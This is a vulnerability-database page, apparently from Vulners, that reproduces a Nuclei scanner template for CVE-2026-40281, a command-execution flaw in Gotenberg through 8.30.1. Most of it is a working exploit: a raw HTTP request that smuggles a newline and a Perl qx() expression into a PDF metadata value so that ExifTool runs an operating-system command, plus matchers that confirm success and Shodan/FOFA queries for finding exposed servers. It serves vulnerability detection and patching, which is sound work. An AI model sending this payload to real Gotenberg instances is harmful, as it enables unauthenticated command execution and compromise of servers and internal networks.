Gotenberg <= 8.30.1 - Remote Code Execution
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Exploit for Argument Injection in Thecodingmachine Gotenberg | 1 Oct 202622:22 | – | githubexploit | |
| Exploit for Argument Injection in Thecodingmachine Gotenberg | 5 Oct 202600:34 | – | githubexploit | |
| Exploit for Argument Injection in Thecodingmachine Gotenberg | 2 Oct 202614:20 | – | githubexploit | |
| Exploit for Argument Injection in Thecodingmachine Gotenberg | 2 Oct 202614:03 | – | githubexploit | |
| Exploit for Argument Injection in Thecodingmachine Gotenberg | 3 Oct 202621:40 | – | githubexploit | |
| CVE-2026-40281 | 6 May 202620:46 | – | attackerkb | |
| CVE-2026-40281 | 6 May 202621:50 | – | circl | |
| Gotenberg parameter injection vulnerability | 6 May 202600:00 | – | cnnvd | |
| CVE-2026-40281 | 6 May 202620:46 | – | cve | |
| CVE-2026-40281 Gotenberg vulnerable to argument injection via newlines in ExifTool metadata values | 6 May 202620:46 | – | cvelist |
10
id: CVE-2026-40281
info:
name: Gotenberg <= 8.30.1 - Remote Code Execution
author: aryu-ru
severity: critical
description: |
Gotenberg through 8.30.1 sanitizes only the keys of the JSON metadata submitted to the PDF metadata write endpoint, leaving the values unvalidated. A newline inside a metadata value is written straight to the ExifTool process standard input, where it terminates the current argument and starts a new one, letting an unauthenticated attacker inject arbitrary ExifTool arguments and execute operating system commands through an advanced formatting expression.
impact: |
Unauthenticated attackers can execute arbitrary operating system commands as the Gotenberg service account and read the command output from the returned PDF, potentially leading to full compromise of the container and of the internal network it can reach.
remediation: |
Update to version 8.31.0 or later, which validates metadata values in addition to metadata keys.
reference:
- https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q
- https://github.com/gotenberg/gotenberg/commit/405f1069c026bb08f319fb5a44e5c67c33208318
- https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0
- https://github.com/vulhub/vulhub/tree/master/gotenberg/CVE-2026-40281
- https://nvd.nist.gov/vuln/detail/CVE-2026-40281
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2026-40281
epss-score: 0.02094
epss-percentile: 0.81363
cwe-id: CWE-88
metadata:
verified: true
max-request: 1
vendor: gotenberg
product: gotenberg
shodan-query: "Gotenberg"
fofa-query: "Gotenberg"
tags: cve,cve2026,gotenberg,exiftool,rce,unauth
variables:
cmd: "id"
http:
- raw:
- |
POST /forms/pdfengines/metadata/write HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="files"; filename="{{randstr}}.pdf"
Content-Type: application/pdf
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 100] >>
endobj
xref
0 4
0000000000 65535 f
0000000010 00000 n
0000000062 00000 n
0000000122 00000 n
trailer
<< /Size 4 /Root 1 0 R >>
startxref
196
%%EOF
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="metadata"
{"Title":"{{randstr}}\n-Title<${PDFVersion;$_=qx({{cmd}})}"}
------WebKitFormBoundary{{randstr}}--
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- 'uid=[0-9]+\([a-z0-9_-]+\) gid=[0-9]+\([a-z0-9_-]+\)'
- type: word
part: header
words:
- "application/pdf"
- type: status
status:
- 200
# digest: 4b0a0048304602210085cc20161f2e45a5d795ca16d764dff3298c0895ab82b5dfc1ede21c27fb29a10221008272c90838436571ad7aa974a95f43fe1333134893f947b7a8c029a3b413503f:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Sep 2026 13:54Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.1 - 10
EPSS0.02094
SSVC